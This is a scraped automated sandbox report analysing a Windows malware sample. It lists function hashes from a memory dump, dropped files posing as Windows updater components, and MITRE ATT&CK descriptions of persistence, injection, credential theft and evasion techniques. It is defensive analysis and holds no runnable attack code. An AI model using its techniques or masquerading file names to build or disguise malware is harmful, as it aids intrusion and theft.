Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID: 3`^$N`^
API String ID: 697777088-927633846
Opcode ID: 548f9669c375bf5d9919aab7d5256db77f1ac098c762ba7595a9918fcf888c53
Instruction ID: 29b4cfed2fb78ebb812a89a64d017a07f3400b7dbbde2cc1d4f0c92def3bde6a
Opcode Fuzzy Hash: 548f9669c375bf5d9919aab7d5256db77f1ac098c762ba7595a9918fcf888c53
Instruction Fuzzy Hash: 60B012866E80826C3B0D9D161C0EC370A9DD1D1FE6371C51AF480C11C0D4400C001033

Uniqueness

Uniqueness Score: -1.00%

Function 005E6076 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 005E6045

Part of subcall function 005E6480: DloadAcquireSectionWriteAccess.DELAYIMP ref: 005E648B
Part of subcall function 005E6480: DloadReleaseSectionWriteAccess.DELAYIMP ref: 005E64F3
Part of subcall function 005E6480: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 005E6504

Strings

3`^, xrefs: 005E603F
v`^, xrefs: 005E6076

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID: 3`^$v`^
API String ID: 697777088-489825694
Opcode ID: 929b2dd7f4616bc8d382f0ef70b8334f4136efff5e63552dc8ef40c02224dc3e
Instruction ID: 6473e9118658cbad5dafbedf53d87b43afdc97399152b185df76f38933c70ea7
Opcode Fuzzy Hash: 929b2dd7f4616bc8d382f0ef70b8334f4136efff5e63552dc8ef40c02224dc3e
Instruction Fuzzy Hash: 11B012822E90826C3B0D9D061D0EC370A5DD1D1FE2331C51AF440C11C0D4400C001033

Uniqueness

Uniqueness Score: -1.00%

Function 005E606C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 005E6045

Part of subcall function 005E6480: DloadAcquireSectionWriteAccess.DELAYIMP ref: 005E648B
Part of subcall function 005E6480: DloadReleaseSectionWriteAccess.DELAYIMP ref: 005E64F3
Part of subcall function 005E6480: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 005E6504

Strings

3`^, xrefs: 005E603F
l`^, xrefs: 005E606C

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID: 3`^$l`^
API String ID: 697777088-209912632
Opcode ID: 7584908c6765c8514a2e15ca6fa454cef88fb274b161a7ffb60777cb28330aea
Instruction ID: e55b7613c3c84821cdc5fd41738e9444fc614219184d80f26fc487737d0343cf
Opcode Fuzzy Hash: 7584908c6765c8514a2e15ca6fa454cef88fb274b161a7ffb60777cb28330aea
Instruction Fuzzy Hash: 72B012922E92826C3B0D9D061D0EC370A5DD1D1FE2331861AF040C11C0D4400C401033

Uniqueness

Uniqueness Score: -1.00%

Function 005E6062 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 005E6045

Part of subcall function 005E6480: DloadAcquireSectionWriteAccess.DELAYIMP ref: 005E648B
Part of subcall function 005E6480: DloadReleaseSectionWriteAccess.DELAYIMP ref: 005E64F3
Part of subcall function 005E6480: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 005E6504

Strings

b`^, xrefs: 005E6062
3`^, xrefs: 005E603F

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID: 3`^$b`^
API String ID: 697777088-102575666
Opcode ID: a5bb6370abcde8a2b8a4ffb5d2f52eeb5bf2bfef9090cc9cb371ba12af76af86
Instruction ID: f27ebfc593345f5ab1be31cde7e15a83861f96047c7249f38c6d188d6617d4de
Opcode Fuzzy Hash: a5bb6370abcde8a2b8a4ffb5d2f52eeb5bf2bfef9090cc9cb371ba12af76af86
Instruction Fuzzy Hash: C5B012822EA0826C3B0D9E461E4EC370A5DD1D1FE2331851AF040C11C0D4400C011033

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ZmWSzgevgt.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Phishing

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

(copy)

413dee.rbf (copy)

413def.rbf (copy)

413df4.rbf (copy)

413df9.rbf (copy)

C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.3\install\7EB1504\AdvancedWindowsManager.exe

C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.3\install\7EB1504\System Updater.msi

C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.3\install\7EB1504\Windows Updater.exe

C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.3\install\decoder.dll

C:\AppData\Roaming\AdvancedWindowsManager\Windows Installer 5.0.3\install\holder0.aiph

Windows Analysis Report
ZmWSzgevgt.exe

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre